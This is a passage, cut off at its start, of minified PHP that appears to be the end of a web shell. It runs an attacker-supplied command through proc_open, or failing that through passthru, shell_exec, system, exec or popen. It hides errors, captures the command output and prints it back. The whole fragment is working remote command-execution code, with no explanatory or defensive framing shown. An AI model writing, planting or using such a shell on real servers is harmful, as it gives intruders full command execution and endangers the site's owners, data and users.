array('pipe','w'),2=>array('pipe','w')),$p);$o=stream_get_contents($p[1]).stream_get_contents($p[2]);proc_close($h);}else{foreach(array('passthru','shell_exec','system','exec','popen') as $f){if(function_exists($f)){ob_start();@$f($c);$o=ob_get_clean();break;}}}if(ob_get_level()>0){ob_clean();}echo $o;?>